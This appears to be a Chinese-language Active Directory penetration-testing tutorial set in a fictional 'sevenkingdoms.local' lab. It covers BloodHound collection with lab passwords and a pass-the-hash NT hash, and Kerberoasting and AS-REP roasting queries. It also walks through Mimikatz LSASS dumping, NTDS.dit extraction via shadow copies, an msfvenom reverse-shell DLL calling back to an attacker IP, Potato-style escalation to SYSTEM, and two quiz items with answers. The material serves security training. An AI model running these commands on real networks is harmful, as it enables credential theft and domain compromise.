hodor CN=hodor,CN=Users,DC=north,DC=sevenkingdoms,DC=local
jon.snow CN=jon.snow,CN=Users,DC=north,DC=sevenkingdoms,DC=local
rickon.stark CN=rickon.stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
robb.stark CN=robb.stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
sansa.stark CN=sansa.stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
Stark CN=Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
真實案例:巢狀群組造成的權限提升
案例:從 Help Desk 到 Domain Admin
網域群組結構:
Domain Admins
├── IT_Managers
│ ├── Server_Team
│ │ └── Server_Admins_L2
│ │ └── Server_Admins_L1
│ │ └── Help_Desk ← bob.smith 在這裡
│ └── Network_Team
└── Administrator (直接成員)
問題:
- Help_Desk 是 Server_Admins_L1 的成員
- Server_Admins_L1 是 Server_Admins_L2 的成員
- Server_Admins_L2 是 Server_Team 的成員
- Server_Team 是 IT_Managers 的成員
- IT_Managers 是 Domain Admins 的成員
結果:
- Help_Desk 的所有成員實際上都是 Domain Admins!
- 包含 15 個一線 Help Desk 人員
- 他們自己可能都不知道
管理員的原意:
- 只是想讓 Help Desk 能重設一般使用者密碼
- 但錯誤的群組巢狀導致權限過高
檢測方式:
Get-ADGroupMember "Help_Desk" -Recursive
→ 發現 Help_Desk 成員在 Domain Admins 的遞迴成員中
Quick Win 類型 5:AS-REP Roasting 和 Kerberoasting 目標
# 找出不需 Kerberos 預認證的使用者(AS-REP Roasting)
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth |
Select-Object SamAccountName, DoesNotRequirePreAuth, Enabled |
Format-Table -AutoSize
SamAccountName DoesNotRequirePreAuth Enabled
-------------- --------------------- -------
brandon.stark True True
# 找出有 SPN 的使用者(Kerberoasting)
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName |
Select-Object SamAccountName, ServicePrincipalName |
Format-Table -Wrap
SamAccountName ServicePrincipalName
-------------- --------------------
krbtgt {kadmin/changepw}
sansa.stark {HTTP/eyrie.north.sevenkingdoms.local}
jon.snow {CIFS/thewall.north.sevenkingdoms.local, HTTP/thewall.north.sevenkingdoms.local}
sql_svc {MSSQLSvc/castelblack.north.sevenkingdoms.local, MSSQLSvc/castelblack.north.sevenkingdoms.local:1433}
# 找出有 SPN 且是特權使用者的帳號(高價值目標)
Get-ADUser -Filter {ServicePrincipalName -ne "$null" -and adminCount -eq 1} -Properties ServicePrincipalName, adminCount |
Select-Object SamAccountName, ServicePrincipalName |
Format-Table -Wrap
SamAccountName ServicePrincipalName
-------------- --------------------
krbtgt {kadmin/changepw}
# 找出有 SPN 但不在 Protected Users 的帳號
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName, MemberOf |
Where-Object {$_.MemberOf -notmatch "Protected Users"} |
Select-Object SamAccountName, ServicePrincipalName |
Format-Table -Wrap
SamAccountName ServicePrincipalName
-------------- --------------------
krbtgt {kadmin/changepw}
sansa.stark {HTTP/eyrie.north.sevenkingdoms.local}
jon.snow {CIFS/thewall.north.sevenkingdoms.local, HTTP/thewall.north.sevenkingdoms.local}
BloodHound 是 AD 列舉和攻擊路徑視覺化的終極工具。
收集資料
# 方法 1: 使用 SharpHound (Windows)
# 收集所有資料
.\SharpHound.exe -c All --zipfilename inlanefreight_full.zip
# 只收集特定資訊(更快、更隱蔽)
.\SharpHound.exe -c DCOnly --zipfilename inlanefreight_dc.zip
# 指定網域
.\SharpHound.exe -c All -d inlanefreight.local --zipfilename inlanefreight.zip
# 使用已知憑證
.\SharpHound.exe -c All --LdapUsername user@domain.local --LdapPassword password
# 方法 2: BloodHound Python 收集器 (Linux/Mac 跨平台)
# 收集 north.sevenkingdoms.local 網域資料
bloodhound-python --zip -c All \
-d north.sevenkingdoms.local \
-u brandon.stark \
-p iseedeadpeople \
-dc winterfell.north.sevenkingdoms.local \
-ns 192.168.139.11
# 跨網域收集 - sevenkingdoms.local (父網域)
bloodhound-python --zip -c All \
-d sevenkingdoms.local \
-u brandon.stark@north.sevenkingdoms.local \
-p iseedeadpeople \
-dc kingslanding.sevenkingdoms.local \
-ns 192.168.139.10
# 跨網域收集 - essos.local (外部信任)
bloodhound-python --zip -c All \
-d essos.local \
-u brandon.stark@north.sevenkingdoms.local \
-p iseedeadpeople \
-dc meereen.essos.local \
-ns 192.168.139.12
# 使用 NT Hash 認證 (Pass-the-Hash)
bloodhound-python --zip -c All \
-d north.sevenkingdoms.local \
-u 'CASTELBLACK$' \
--hashes 'aad3b435b51404eeaad3b435b51404ee:aa9f662562792331251c9e43b72c5caf' \
-dc winterfell.north.sevenkingdoms.local \
-ns 192.168.139.11
參數說明:
--zip
:將輸出打包成 ZIP 檔案-c All
:收集所有類型的資料-d
:目標網域名稱-u
:使用者名稱(跨網域時使用 UPN 格式 user@domain
)-p
:明文密碼--hashes
:使用 NT Hash 進行 Pass-the-Hash 認證(格式:LM:NT
)-dc
:Domain Controller 主機名稱(FQDN)-ns
:DNS 伺服器 IP 位址重要提示: 跨網域收集時,使用者名稱必須使用 UPN 格式(brandon.stark@north.sevenkingdoms.local
),這是跨網域認證的關鍵!
BloodHound 查詢範例
在 BloodHound GUI 中執行的查詢
基礎查詢:
1. 從目前使用者到 Domain Admin 的最短路徑
- 右鍵點擊自己的使用者節點
- "Shortest Paths to Domain Admins"
2. 找出所有 Domain Admins
- 搜尋 "Domain Admins@INLANEFREIGHT.LOCAL"
- 右鍵 → "List Group Members"
3. 找出有本地管理員權限的使用者
- 搜尋電腦 → 右鍵 → "Shortest Paths to Here from Owned Principals"
進階查詢(使用 Cypher):
// 找出所有有 DCSync 權限的使用者
MATCH p=(n)-[r:GetChanges|GetChangesAll]->(d:Domain) RETURN p
// 找出可以透過 ACL 提權到 DA 的路徑
MATCH p=shortestPath((n)-[r:GenericAll|GenericWrite|WriteOwner|WriteDacl*1..]->(m:Group))
WHERE m.name =~ 'DOMAIN ADMINS.*'
RETURN p
// 找出所有 Kerberoastable 使用者
MATCH (u:User {hasspn:true}) RETURN u
// 找出所有 AS-REP Roastable 使用者
MATCH (u:User {dontreqpreauth:true}) RETURN u
// 找出所有未約束委派的電腦
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
// 找出所有可以讀取 LAPS 密碼的使用者
MATCH p=(n)-[r:ReadLAPSPassword]->(c:Computer) RETURN p
// 找出從特定 OU 到 DA 的所有路徑
MATCH p=shortestPath((o:OU {name:"IT"})-[r*1..]->(g:Group {name:"DOMAIN ADMINS@INLANEFREIGHT.LOCAL"}))
RETURN p
BloodHound 實戰技巧
技巧 1: 標記已控制的節點
├── 右鍵點擊已控制的使用者/電腦
├── "Mark User as Owned" 或 "Mark Computer as Owned"
└── 重新執行 "Shortest Paths from Owned Principals"
└── 會顯示從已控制節點到目標的路徑
技巧 2: 分析特定使用者的權限
├── 搜尋使用者
├── 右鍵 → "Outbound Object Control"
├── 查看該使用者可以控制哪些物件
└── 評估是否可以利用
技巧 3: 尋找「孤立」的高權限帳號
├── 執行查詢找出所有 adminCount=1 的使用者
├── 檢查每個使用者到 DA 的路徑
├── 找出「看似無路徑」的帳號
└── 這些帳號可能有非標準的權限設定
技巧 4: 分析群組巢狀
├── 搜尋 "Domain Admins"
├── 右鍵 → "List Group Members" → "Recursive"
├── 展開查看完整的巢狀結構
└── 找出意外的成員資格
技巧 5: 匯出資料進行離線分析
├── 使用 Raw Query 匯出資料
├── MATCH (n:User) RETURN n.name, n.description
├── 複製到 CSV 進行批次分析
└── 使用腳本處理大量資料
NT AUTHORITY\SYSTEM(簡稱 SYSTEM)是 Windows 作業系統中最特殊的帳號之一。
SYSTEM 不是一般的使用者帳號
使用者帳號 vs SYSTEM 帳號
一般使用者帳號:
├── 有 SID(Security Identifier)
├── 可以登入(互動式或網路)
├── 有密碼
├── 屬於某些群組
├── 有個人設定檔
└── 可以被停用或刪除
SYSTEM 帳號:
├── 有 SID:S-1-5-18
├── 無法登入(不能從登入畫面登入)
├── 沒有密碼
├── 不是任何群組的成員(但有所有權限)
├── 設定檔在 C:\Windows\System32\config\systemprofile
└── 無法被停用或刪除(系統核心元件)
SYSTEM 的用途:
└── Windows 服務控制管理員(SCM)使用
├── 啟動和管理 Windows 服務
├── 執行系統層級的任務
├── 管理硬體和驅動程式
└── 執行排程任務(某些情況)
Windows 權限階層
本機系統權限階層(從高到低)
TrustedInstaller
↓ (最高權限,可修改系統檔案)
NT AUTHORITY\SYSTEM ← 本篇重點
↓ (最高服務權限)
本地 Administrators 群組成員
↓
本地 Power Users 群組成員(已過時)
↓
本地 Users 群組成員
↓
Guest 帳號
Active Directory 環境中的權限階層
Enterprise Admins(樹系層級)
↓
Schema Admins(樹系層級)
↓
Domain Admins(網域層級)
↓
電腦帳號(例如 WS01$) ← SYSTEM 在 AD 中等同於此
↓
Domain Users(一般使用者)
↓
Domain Guests(來賓)
關鍵理解:
SYSTEM 在本機 = 最高權限(略低於 TrustedInstaller)
SYSTEM 在 AD = 電腦帳號 ≈ 一般 Domain User
SYSTEM 帳號擁有幾乎所有的 Windows 特權。這些特權決定了帳號可以執行哪些系統層級的操作。
完整的特權列表與說明
# 從 SYSTEM 執行以下命令查看完整特權
whoami /priv
特權名稱 | 說明 | 預設狀態 | 攻擊利用價值 |
---|---|---|---|
SeAssignPrimaryTokenPrivilege | 替換處理程序層級的權杖 | Disabled | 極高(可用於模擬其他使用者) |
SeAuditPrivilege | 產生安全性稽核 | Enabled | 中(可繞過某些稽核機制) |
SeBackupPrivilege | 備份檔案和目錄 | Disabled | 極高(可讀取任何檔案,包括 SAM、NTDS.dit) |
SeChangeNotifyPrivilege | 略過遍歷檢查 | Enabled | 低(正常功能) |
SeCreateGlobalPrivilege | 建立全域物件 | Enabled | 低(正常功能) |
SeCreatePagefilePrivilege | 建立分頁檔 | Enabled | 低(正常功能) |
SeCreatePermanentPrivilege | 建立永久共用物件 | Enabled | 中(可能用於持久化) |
SeCreateTokenPrivilege | 建立權杖物件 | Disabled | 極高(可建立任意權杖) |
SeDebugPrivilege | 偵錯程式 | Enabled | 極高(可注入任何 Process ,提取記憶體) |
SeImpersonatePrivilege | 在認證後模擬使用者端 | Enabled | 極高(Potato 系列攻擊的核心) |
SeIncreaseBasePriorityPrivilege | 增加排程優先順序 | Enabled | 低(可能用於 DoS) |
SeIncreaseQuotaPrivilege | 調整 Process 的記憶體配額 | Disabled | 低(可能用於 DoS) |
SeLoadDriverPrivilege | 載入和卸載裝置驅動程式 | Disabled | 極高(可載入惡意驅動程式) |
SeLockMemoryPrivilege | 鎖定記憶體中的分頁 | Enabled | 低(可能用於 DoS) |
SeManageVolumePrivilege | 執行磁碟區維護工作 | Disabled | 高(可修改磁碟結構) |
SeProfileSingleProcessPrivilege | 分析單一 Process | Enabled | 低(正常功能) |
SeRestorePrivilege | 還原檔案和目錄 | Disabled | 極高(可寫入任何檔案) |
SeSecurityPrivilege | 管理稽核和安全性記錄檔 | Disabled | 高(可清除安全日誌) |
SeShutdownPrivilege | 關閉系統 | Disabled | 中(DoS) |
SeSystemEnvironmentPrivilege | 修改韌體環境值 | Disabled | 極高(可修改 UEFI/BIOS) |
SeSystemProfilePrivilege | 分析系統效能 | Enabled | 低(正常功能) |
SeSystemtimePrivilege | 變更系統時間 | Disabled | 中(可能影響 Kerberos) |
SeTakeOwnershipPrivilege | 取得檔案或其他物件的擁有權 | Disabled | 極高(可取得任何檔案的擁有權) |
SeTcbPrivilege | 作為作業系統的一部分 | Enabled | 極高(Trusted Computing Base) |
SeUndockPrivilege | 從停駐站移除電腦 | Disabled | 低(硬體相關) |
關鍵特權詳細說明
1. SeDebugPrivilege(偵錯特權)
能力:可以開啟和操作任何 Process 的記憶體
攻擊利用:
├── 使用 Mimikatz 從 LSASS 提取憑證
├── 注入程式碼到任何 Process
├── 讀取其他 Process 的記憶體
└── 繞過大多數使用者模式的保護機制
範例:
# 有 SeDebugPrivilege 才能做到
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
沒有這個特權,Mimikatz 會失敗。
2. SeBackupPrivilege(備份特權)
能力:可以讀取任何檔案,無視 ACL 權限
攻擊利用:
├── 複製 SAM、SYSTEM、SECURITY registry hives
├── 複製 NTDS.dit(網域資料庫)
├── 讀取敏感的設定檔案
└── 繞過檔案系統權限
實戰案例:提取 DC 的 NTDS.dit
方法 1: 使用 diskshadow
# 建立 shadow copy
diskshadow
> set context persistent nowriters
> add volume c: alias someAlias
> create
> expose %someAlias% z:
> exit
# 複製檔案(需要 SeBackupPrivilege)
robocopy /b z:\Windows\NTDS . ntds.dit
robocopy /b z:\Windows\System32\config . SYSTEM
方法 2: 使用 wbadmin
wbadmin start backup -backupTarget:e: -include:c:\windows\ntds
方法 3: 使用 vssadmin
vssadmin create shadow /for=c:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .
3. SeRestorePrivilege(還原特權)
能力:可以寫入任何檔案,無視 ACL 權限
攻擊利用:
├── 覆寫系統檔案
├── 修改 SAM/SYSTEM registry
├── 植入惡意 DLL 到系統目錄
└── 修改服務的執行檔
範例:利用 SeRestorePrivilege 提權
# 1. 建立惡意 DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f dll > evil.dll
# 2. 使用 SeRestorePrivilege 覆寫合法的系統 DLL
# (需要特殊工具或技術)
4. SeImpersonatePrivilege(模擬特權)
能力:在認證後可以模擬其他使用者的身份
攻擊利用:
├── Potato 系列攻擊(RottenPotato, JuicyPotato, PrintSpoofer)
├── 從低權限服務帳號提權到 SYSTEM
├── Token 模擬攻擊
└── 這是最常被利用的特權之一
實戰:從 IIS 服務帳號提權到 SYSTEM
# 檢查目前特權
whoami /priv
# 確認有 SeImpersonatePrivilege
# 使用 PrintSpoofer(Windows 10/Server 2016+)
PrintSpoofer.exe -i -c cmd.exe
# 使用 JuicyPotato(Windows 7/8/Server 2008/2012/2016)
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {CLSID}
執行後:
C:\> whoami
nt authority\system
5. SeLoadDriverPrivilege(載入驅動程式特權)
能力:可以載入和卸載 kernel-mode 驅動程式
攻擊利用:
├── 載入惡意驅動程式
├── 繞過 kernel-mode 保護
├── 停用安全產品
└── 直接操作記憶體和硬體
這是高級攻擊技術,通常用於:
- 繞過 PatchGuard
- 繞過 Driver Signature Enforcement
- Rootkit 安裝
6. SeTcbPrivilege(Trusted Computing Base 特權)
能力:作為作業系統的一部分運作
這是最強大的特權之一,表示:
├── 完全被 OS 信任
├── 可以執行任何系統層級的操作
├── 可以建立 Process 為其他使用者
└── 可以驗證使用者身份
只有 SYSTEM 和少數關鍵服務有此特權。
對比:一般 Domain User 的特權
# 從一般 Domain User 執行
PS C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
# 只有 2 個特權,且都是基本功能
# 無法進行任何系統層級的操作
這是理解 SYSTEM 價值的關鍵:在 AD 環境中,SYSTEM 可以扮演電腦帳號的角色。
AD 中的電腦帳號
每台 domain-joined 的電腦都有一個對應的電腦帳號:
├── 儲存在 Active Directory 中
├── 是 User 類別的特殊實例
├── 帳號名稱以 $ 結尾(例如:WS01$)
├── 有自己的密碼(由系統自動管理,定期更換)
├── 可以進行 Kerberos 認證
└── 是 Domain Computers 群組的成員
電腦帳號的屬性:
ObjectClass : computer
SamAccountName : WS01$
DistinguishedName : CN=WS01,OU=Workstations,DC=inlanefreight,DC=local
PrimaryGroupID : 515 (Domain Computers)
UserAccountControl : WORKSTATION_TRUST_ACCOUNT
ServicePrincipalName : HOST/WS01, RestrictedKrbHost/WS01, ...
關鍵理解:
電腦帳號 = 特殊的使用者帳號
└── 有認證能力
└── 可以查詢 AD
└── 可以存取網路資源(如果有權限)
認證機制
本機操作:
使用者登入 → 使用自己的憑證
服務執行(以 SYSTEM)→ 本機操作 → 使用 SYSTEM 權限
網路操作:
使用者透過網路存取 → 使用自己的憑證
服務(以 SYSTEM)透過網路存取 → 使用電腦帳號的憑證
實際過程:
1. SYSTEM Process 需要存取網路資源(如 AD)
2. Windows 自動使用本機電腦的 Kerberos TGT
3. 以電腦帳號(WS01$)的身份進行認證
4. 從 AD 的角度,這是 WS01$ 在查詢資料
這就是為什麼從 SYSTEM 可以列舉 AD!
可以執行的操作(以電腦帳號身份)
讀取權限(預設允許):
├── 列舉所有網域使用者
├── 列舉所有網域群組
├── 列舉所有網域電腦
├── 讀取大部分 AD 物件的屬性
├── 讀取 GPO 設定
└── 查詢 DNS 記錄
有限制的操作:
├── 不能修改大部分物件(除非特別授權)
├── 不能重設使用者密碼
├── 不能修改群組成員
└── 不能建立新物件
特殊情況(如果電腦帳號被授予特殊權限):
├── 某些環境中,電腦帳號可能有過度權限
├── 例如:某些 OU 的 CREATOR OWNER 包含 Domain Computers
└── 或管理員錯誤設定 ACL
攻擊技術(從 SYSTEM 執行):
├── BloodHound 資料收集
├── AS-REP Roasting
├── Kerberoasting(有限制,見下方)
├├── Kerberoasting(有限制,見下方)
├── LLMNR/NBT-NS 投毒
├── SMB Relay 攻擊
├── 網路封包擷取
└── Token 模擬(如果有特權使用者登入過)
SYSTEM 的限制:無法進行的操作
# 情境:你已經在 WS01 上獲得 SYSTEM 權限
# 測試 1: 確認目前身份
whoami
# 輸出:nt authority\system
# 測試 2: 使用 PowerView 列舉(以電腦帳號身份)
Import-Module .\PowerView.ps1
# 列舉網域使用者
Get-DomainUser | Select-Object samaccountname | Measure-Object
# 輸出:Count: 2547
# 成功!以 WS01$ 的身份查詢
# 測試 3: 列舉網域管理員
Get-DomainGroupMember "Domain Admins"
# 輸出:顯示所有 DA 成員
# 成功!
# 測試 4: 檢查自己的群組成員資格
# 模擬電腦帳號查詢
$computerName = $env:COMPUTERNAME
Get-ADComputer $computerName -Properties MemberOf | Select-Object -ExpandProperty MemberOf
# 輸出:CN=Domain Computers,CN=Users,DC=inlanefreight,DC=local
# 測試 5: 嘗試修改使用者(會失敗)
Set-ADUser -Identity bob.smith -Description "test"
# 輸出:Access Denied
# 失敗,因為電腦帳號沒有修改權限
# 測試 6: 執行 BloodHound 收集
.\SharpHound.exe -c All --zipfilename from_system.zip
# 成功!收集到完整的 AD 資料
操作類型 | Guest | Domain User | Local Admin | Domain Admin | SYSTEM (本機) | SYSTEM (AD) |
---|---|---|---|---|---|---|
本機檔案存取 | 有限 | 使用者目錄 | 所有檔案 | 所有檔案 | 所有檔案 | 所有檔案 |
修改系統設定 | 否 | 否 | 是 | 是 | 是 | 是 |
安裝軟體 | 否 | 否 | 是 | 是 | 是 | 是 |
讀取 SAM/NTDS | 否 | 否 | 是 | 是 | 是 | 是(如在 DC) |
提取 LSASS 記憶體 | 否 | 否 | 是 | 是 | 是 | 是 |
列舉 AD 使用者 | 有限 | 是 | 是 | 是 | 是(以電腦帳號) | 是(以電腦帳號) |
修改 AD 物件 | 否 | 有限 | 有限 | 是 | 否(除非特別授權) | 否(除非特別授權) |
重設使用者密碼 | 否 | 否 | 否 | 是 | 否 | 否 |
執行 DCSync | 否 | 否 | 否 | 是 | 否 | 否 |
載入驅動程式 | 否 | 否 | 是 | 是 | 是 | 是 |
偵錯任何 Process | 否 | 否 | 有限 | 是 | 是 | 是 |
跨網域攻擊 | 否 | 有限 | 有限 | 是 | 否 | 否 |
在 Active Directory 環境中,關於列舉(Enumeration)的敘述,下列何者正確?
A. 列舉只需要在滲透測試初期執行一次即可
B. 列舉主要用於發現未修補的技術漏洞
C. 設定錯誤比技術漏洞更常見且容易被列舉發現
D. 沒有取得網域使用者憑證就無法進行任何列舉
答案:C
解析:
關於 NT AUTHORITY\SYSTEM 帳號在 Active Directory 環境中的特性,下列敘述何者錯誤?
A. SYSTEM 在本機擁有幾乎所有的 Windows 特權
B. SYSTEM 透過網路存取 AD 時會以電腦帳號(如 WS01$)的身份進行認證
C. SYSTEM 可以直接執行 DCSync 攻擊取得所有網域使用者的密碼雜湊
D. SYSTEM 可以使用 BloodHound 收集完整的 AD 資料
答案:C
解析: